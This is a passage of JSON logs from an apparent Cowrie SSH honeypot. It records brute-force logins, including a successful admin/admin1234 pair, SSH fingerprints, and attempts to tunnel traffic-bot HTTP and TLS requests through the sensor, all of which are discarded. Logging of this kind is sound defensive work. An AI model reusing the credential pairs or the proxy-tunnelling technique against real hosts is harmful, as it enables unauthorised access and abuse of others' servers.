deflate\\r\\n\\r\\n_=dUYrSGZ4M0Mhc1REUGQ2ZA%3D%3Ds%2BuZVinXwL9LAhmcPMpgzIe4xacoP4sc%2FhTq6AJtwfLbvCFtAT%2FbiSfKt%2F1YTmDhYAVuiKlGe%2BVEHj%2B0YnY3nkkbdMUQnPyiLnDXZwFRbGoVDituWPqA3SMoYPejJkWLpQmAHpt9HcqzjF4XcWsO41znNsO%2F95rSGnmPa%2BrW1qF9lt3TBBh%2FExpOoELWS6YSEc8Z54d%2BrbQ3s8RXwadZqR13xJ5FAZYkFeKT4ypm%2ByJNWiaV5eR0BrLP6DZoy8EGrkstWFtT5T5ZRyo8sLvDljQr6%2BgOyH%2BKR9s4MVvmKoQ2e67fVqij93UGQzm3XQLEGOXECxexqcBZ%2BgScNSIcFf%2F%2FEhG6h9Ue3cBJh5f7ZtrAva0YEDVH3hDyHQ9QK7r0UYW1AVy2wYUqby7PJMPMNYWGlXS0DbhBwuiZvROAeHRcSA8BQeeql0JqOyAoP%2BkwpKkFzTmuDNLZOq4Y4SjZDwtKt64qjUl3POuHAZ69gqK7YWTVYU4dYf7GDW60ch2sC6JvYZUDzazE%2BvDNzKZlEr0OWoTmqoeJmB8npnJiNV2Isg1DqPTCFxYfaxkz1GMHFIyBnrxqRZmKGAlyvGtLZBI2ZYJL%2B8ob%2F5CEJe4pYtUHzr8iy2fU86SaoDS9TIF0OYj%2FJ%2BGHHW3G3OgMWT5OCYSs%2B7v%2B6m41ALjD%2Bp6Tg1cwt1yExA%2B7OybAM3y1yNnSD5jmBMlitPLG97%2Be12eSe21J6Ea0%2F8eAGV89ixIw9lLJCXt8qgXrI1knezy81VKssc6H3j6aPTji8PUunr3NAfLtTq72wjvNFbYGYIrcRwSbdDQUaQqX8z76NUdXVApjWv3PzaUx%2BgtyP%2Fw8Wo5WK3d5TtnV16LVw5uQ3kNx7EdPzKsjxMQhl0Z34WX77y2TpgHQP%2BskfLnmQ%2FNkZg7kpY1kQOoa8n2PbTWHLNIyhe7PcK4iGVEiKViE2X1SKkQGcYAB5bvajq2RkirPlEQS%2B8jRI1rkSjpuz3AZ0KsTBo3p34P%2FETasPyw3rmXi1izT8iERjhrQ2xyd3nfcoFYcmKTezQ1Ni4QWX1KP59sPIvs%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1168\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Y21L Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=dUYrSGZ4M0Mhc1REUGQ2ZA%3D%3Ds%2BuZVinXwL9LAhmcPMpgzIe4xacoP4sc%2FhTq6AJtwfLbvCFtAT%2FbiSfKt%2F1YTmDhYAVuiKlGe%2BVEHj%2B0YnY3nkkbdMUQnPyiLnDXZwFRbGoVDituWPqA3SMoYPejJkWLpQmAHpt9HcqzjF4XcWsO41znNsO%2F95rSGnmPa%2BrW1qF9lt3TBBh%2FExpOoELWS6YSEc8Z54d%2BrbQ3s8RXwadZqR13xJ5FAZYkFeKT4ypm%2ByJNWiaV5eR0BrLP6DZoy8EGrkstWFtT5T5ZRyo8sLvDljQr6%2BgOyH%2BKR9s4MVvmKoQ2e67fVqij93UGQzm3XQLEGOXECxexqcBZ%2BgScNSIcFf%2F%2FEhG6h9Ue3cBJh5f7ZtrAva0YEDVH3hDyHQ9QK7r0UYW1AVy2wYUqby7PJMPMNYWGlXS0DbhBwuiZvROAeHRcSA8BQeeql0JqOyAoP%2BkwpKkFzTmuDNLZOq4Y4SjZDwtKt64qjUl3POuHAZ69gqK7YWTVYU4dYf7GDW60ch2sC6JvYZUDzazE%2BvDNzKZlEr0OWoTmqoeJmB8npnJiNV2Isg1DqPTCFxYfaxkz1GMHFIyBnrxqRZmKGAlyvGtLZBI2ZYJL%2B8ob%2F5CEJe4pYtUHzr8iy2fU86SaoDS9TIF0OYj%2FJ%2BGHHW3G3OgMWT5OCYSs%2B7v%2B6m41ALjD%2Bp6Tg1cwt1yExA%2B7OybAM3y1yNnSD5jmBMlitPLG97%2Be12eSe21J6Ea0%2F8eAGV89ixIw9lLJCXt8qgXrI1knezy81VKssc6H3j6aPTji8PUunr3NAfLtTq72wjvNFbYGYIrcRwSbdDQUaQqX8z76NUdXVApjWv3PzaUx%2BgtyP%2Fw8Wo5WK3d5TtnV16LVw5uQ3kNx7EdPzKsjxMQhl0Z34WX77y2TpgHQP%2BskfLnmQ%2FNkZg7kpY1kQOoa8n2PbTWHLNIyhe7PcK4iGVEiKViE2X1SKkQGcYAB5bvajq2RkirPlEQS%2B8jRI1rkSjpuz3AZ0KsTBo3p34P%2FETasPyw3rmXi1izT8iERjhrQ2xyd3nfcoFYcmKTezQ1Ni4QWX1KP59sPIvs%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:23.266570Z","src_ip":"173.208.188.210","session":"63c10d865255","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":59528,"dst_ip":"159.203.135.109","dst_port":22,"session":"b08c185e79c7","protocol":"ssh","message":"New connection: 91.92.40.36:59528 (159.203.135.109:22) [session: b08c185e79c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:24.294966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:25.334793Z","src_ip":"91.92.40.36","session":"b08c185e79c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:25.340915Z","src_ip":"91.92.40.36","session":"b08c185e79c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":62120,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e6148a1d1ee","protocol":"ssh","message":"New connection: 123.27.168.40:62120 (10.17.0.5:22) [session: 0e6148a1d1ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:25.550793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:25.554505Z","src_ip":"123.27.168.40","session":"0e6148a1d1ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:25.786071Z","src_ip":"123.27.168.40","session":"0e6148a1d1ee","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:26.876692Z","src_ip":"123.27.168.40","session":"0e6148a1d1ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"098765432","message":"login attempt [admin/098765432] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:27.398456Z","src_ip":"91.92.40.36","session":"c7ab987f38f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:28.982162Z","session":"0e6148a1d1ee","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:29.495887Z","src_ip":"123.27.168.40","session":"0e6148a1d1ee","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/90.0.4430.72 Mobile/16A404 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=SXdIR1QmZz5tcVdScUN1WQ%3D%3DxdhfXw%2FKuQCfzUH4GQ92vDzfEmoUDopclL4oTGek238qL9oBFkvDtVuYcK1q%2B%2F4DSz9NvE4Xu2pnMjNbWWbv7jffWEXYC%2BC5LSeMzE3dC0kcWnzZ9UpWQeANbd6W5a1T97tbXV%2F1iRph01uaI5%2BurDIKld9IvT6R766dLRHKAPLCJXYFAAMBBnAVR0aaQFrNQIsuObjbZQjKZdV0%2FF9yaKkjB%2FmDIk6CRB9hKEXQjzWPAnuF1MdUIlyQLZ0ey456%2Fn0HQx5ijxPoC9lfTOfwyX6iD80odX9lIPDkm%2F067rDNLv2pImrsfnwxehGPVvVYQAHidsQzSEj48W8Abe0R4AMngdmWnAEgjb7o2F%2F2ENqtdOFfVOK7vLL8xW%2B0s5W4ggca1Y8i2%2Fpvmzx6FTDMecAau7gLpH1QpiLHNN0okHpsJyQ%2BlpOymPV2obpohXDWJKo2nBo%2BKC5fPX1GZFggK5suCGE8DJIBCdWE7X1SzHj0u6yODb0YvzWYBzZpLNKFtuFPsIfbD02u9pZ9imoTgvuG3GoTN4AWk2Oefv4g6xGTxTrjjhXqNvYTn5vH%2Fkct5Bl%2BVoy0f1%2B7%2B7yQQVTBi3h9I8Z0N8G5oMMF7DFHM4tkqvA5aiUUzIpiKHV0gtvQlZCp4OjjJAXCrk2vOgrRkHgYV3c3meg5Hy9s0tWiEAI5tmcOp%2F6cAn1RXy%2FcLUjYfkMG901AZhB14RHakBtF2Bpqt9grIYmE1XYAtb2%2FEMDpZ83YenLeFvwL2prMAppOhp9%2Br4LmwjqtneaJwaFkf5jsIZhetnqpyy4fds4m4df8mtc%2FB1KlDZY0NfDC%2FLHr3eKwb7%2FbEw3%2BcNVXyL4pQn01piii4qNJ2rYnaWii%2FJvzlTNYzwC8KsMfzXHyvs6d3xa1IBDmAiioKP1mpVqFRSmLU2TPOPQq61GgHWGyZQOrS6LozptK3%2FGPOOFUopKxRiVzFvauc8KLh6DTsPNzg9c4aCyukCDoYJo7pD%2Bn%2FuZ32u%2FIEY0BWnIB1HC9eVwUEblQPh%2F916QOrYxEAytlWErDjsoVIkbflCUUiFRAs0c%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/90.0.4430.72 Mobile/16A404 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=SXdIR1QmZz5tcVdScUN1WQ%3D%3DxdhfXw%2FKuQCfzUH4GQ92vDzfEmoUDopclL4oTGek238qL9oBFkvDtVuYcK1q%2B%2F4DSz9NvE4Xu2pnMjNbWWbv7jffWEXYC%2BC5LSeMzE3dC0kcWnzZ9UpWQeANbd6W5a1T97tbXV%2F1iRph01uaI5%2BurDIKld9IvT6R766dLRHKAPLCJXYFAAMBBnAVR0aaQFrNQIsuObjbZQjKZdV0%2FF9yaKkjB%2FmDIk6CRB9hKEXQjzWPAnuF1MdUIlyQLZ0ey456%2Fn0HQx5ijxPoC9lfTOfwyX6iD80odX9lIPDkm%2F067rDNLv2pImrsfnwxehGPVvVYQAHidsQzSEj48W8Abe0R4AMngdmWnAEgjb7o2F%2F2ENqtdOFfVOK7vLL8xW%2B0s5W4ggca1Y8i2%2Fpvmzx6FTDMecAau7gLpH1QpiLHNN0okHpsJyQ%2BlpOymPV2obpohXDWJKo2nBo%2BKC5fPX1GZFggK5suCGE8DJIBCdWE7X1SzHj0u6yODb0YvzWYBzZpLNKFtuFPsIfbD02u9pZ9imoTgvuG3GoTN4AWk2Oefv4g6xGTxTrjjhXqNvYTn5vH%2Fkct5Bl%2BVoy0f1%2B7%2B7yQQVTBi3h9I8Z0N8G5oMMF7DFHM4tkqvA5aiUUzIpiKHV0gtvQlZCp4OjjJAXCrk2vOgrRkHgYV3c3meg5Hy9s0tWiEAI5tmcOp%2F6cAn1RXy%2FcLUjYfkMG901AZhB14RHakBtF2Bpqt9grIYmE1XYAtb2%2FEMDpZ83YenLeFvwL2prMAppOhp9%2Br4LmwjqtneaJwaFkf5jsIZhetnqpyy4fds4m4df8mtc%2FB1KlDZY0NfDC%2FLHr3eKwb7%2FbEw3%2BcNVXyL4pQn01piii4qNJ2rYnaWii%2FJvzlTNYzwC8KsMfzXHyvs6d3xa1IBDmAiioKP1mpVqFRSmLU2TPOPQq61GgHWGyZQOrS6LozptK3%2FGPOOFUopKxRiVzFvauc8KLh6DTsPNzg9c4aCyukCDoYJo7pD%2Bn%2FuZ32u%2FIEY0BWnIB1HC9eVwUEblQPh%2F916QOrYxEAytlWErDjsoVIkbflCUUiFRAs0c%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:29.498916Z","src_ip":"123.27.168.40","session":"0e6148a1d1ee","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:30.098824Z","session":"63c10d865255","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.8","message":"Connection lost after 10.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:30.292301Z","src_ip":"91.92.40.36","session":"c7ab987f38f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:30.480762Z","src_ip":"173.208.188.210","session":"63c10d865255","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03(,\\xf7\\xcb\\x90\\xa5\\x10\\xfd\\xc4\\x12\\xd3\\xde\\xf4\\xbah\\xa8\\xafUr\\x86N\\x0f\\xec\\xbaA\\xfe\\xc8\\xea\\x97\\xec\\xfbh \\xcck\\xb0\\x01\\x98\\x08\\xd1\\xb8\\rFs\\xea\\xe2\\x1e\\x82\\xf3\\xaf\\xf0\\xa6|sV\\xb5\\x10.2\\xb7\"\\xc9\\xbcV\\x1a\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc2g\\x91\\xa3\\xcb\\x9b\\xde\\xbec\\xda\\n\\xee@\\xabT\\x01\\xf9\\xcbe\\xffyw\\xf9=\\x0c\\xd076\\xfb,t\\x1c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03(,\\xf7\\xcb\\x90\\xa5\\x10\\xfd\\xc4\\x12\\xd3\\xde\\xf4\\xbah\\xa8\\xafUr\\x86N\\x0f\\xec\\xbaA\\xfe\\xc8\\xea\\x97\\xec\\xfbh \\xcck\\xb0\\x01\\x98\\x08\\xd1\\xb8\\rFs\\xea\\xe2\\x1e\\x82\\xf3\\xaf\\xf0\\xa6|sV\\xb5\\x10.2\\xb7\"\\xc9\\xbcV\\x1a\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc2g\\x91\\xa3\\xcb\\x9b\\xde\\xbec\\xda\\n\\xee@\\xabT\\x01\\xf9\\xcbe\\xffyw\\xf9=\\x0c\\xd076\\xfb,t\\x1c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:30.483664Z","src_ip":"173.208.188.210","session":"63c10d865255","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:30.608307Z","session":"63c10d865255","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:30.642332Z","src_ip":"173.208.188.210","session":"63c10d865255","protocol":"ssh"}
